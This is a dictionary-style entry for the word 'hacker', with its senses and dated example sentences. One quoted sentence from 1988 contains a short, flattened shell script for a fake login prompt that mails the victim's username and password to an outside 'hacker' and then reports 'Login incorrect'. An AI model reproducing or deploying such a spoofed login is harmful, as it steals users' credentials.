Hacker

Word HACKER
Character 6
Hyphenation hack er
Pronunciations /hækə(ɹ)/

Definitions and meanings of "Hacker"

What do we mean by hacker?

One who is expert at programming and solving problems with a computer.

One who uses a computer to gain unauthorized access to data, or to carry out malicious attacks.

A computer security professional.

Something that hacks; a tool or device for hacking.

A fork-shaped tool used to harvest root vegetables.

Someone who hacks.

One who is inexperienced or unskilled at a particular activity, especially a sport such as golf or tennis.

One who operates a taxicab

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The word "hacker" in example sentences

A hacker could quickly install a login process like the one described by Morris and Grampp (7): echo - n "login:" read X stty - echo echo - n "password:" read Y echo "" stty echo echo % X%Y | mail outside | hacker& sleep 1 echo Login incorrect stty 0/dev/tty We see that the password of the root user is mailed to the hacker who has completely compromised the Unix system. ❋ Unknown (1988)

Once synonymous with criminals and anarchists, the term hacker now also refers to the good guys in cyberspace, those who have the same skills the bad guys do, only different intentions. ❋ Unknown (2010)

If you really feel the need, explain the term hacker, or point them to the Wikipedia entry on the term. ❋ Unknown (2009)

The word "hacker" has an unfairly negative connotation from being portrayed in the media as people who break into computers. ❋ Unknown (2012)

I believe I know who the hacker is and it is clear that they have connections to the Liberal Democrats. ❋ Unknown (2005)

Be prepared for an argument; your hacker is a rational entity, and presumably had reasons. ❋ Unknown (2001)

"The word 'hacker' has an unfairly negative connotation from being portrayed in the media as people who break into computers," Zuckerberg wrote. ❋ Benny Evangelista (2012)

It’s a shame that the media still uses the term hacker when they should be using the term cracker. ❋ Unknown (2004)

It appears their only motive was to show it could be done, and bask in hacker glory at having had the skills to do it. ❋ Unknown (2009)

Unless the hacker is sitting at her computer, I doubt it. ❋ Unknown (2009)

At the heart of this seemingly innocent service, a vengeful computer hacker is playing games with people's lives ... and deaths. ❋ Unknown (2010)

The hacker is a relatively old character (late 40s). ❋ Unknown (2009)

It seems a certain Swedish hacker heroine with a dragon tattoo has paved the way for a surge of international crime fiction. ❋ Unknown (2010)

The word hacker has circled back to a certain degree and I think it's once again a badge of honor and wizardry, not maliciousness. ❋ Unknown (2010)

You will never be able to stop someone from copying your code or MP3 or text file if the hacker is motivated enough. ❋ Unknown (2008)

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